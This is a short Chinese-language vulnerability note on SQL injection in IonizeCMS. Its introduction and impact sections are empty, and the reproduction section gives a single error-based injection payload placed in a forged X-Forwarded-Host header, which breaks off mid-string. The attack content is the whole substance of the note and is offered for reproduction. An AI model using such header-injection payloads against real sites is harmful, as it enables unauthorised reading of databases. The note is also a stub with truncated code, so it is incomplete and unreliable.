002-IonizeCMS sql注入

## IonizeCMS sql注入

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

伪造HTTP头注入 在抓包哇：

“`
X-Forwarded-Host: ‘and(select 1 from(select count(*),concat((select concat(0x5e5e5e,version(),0x5e5e5e) from informat
“`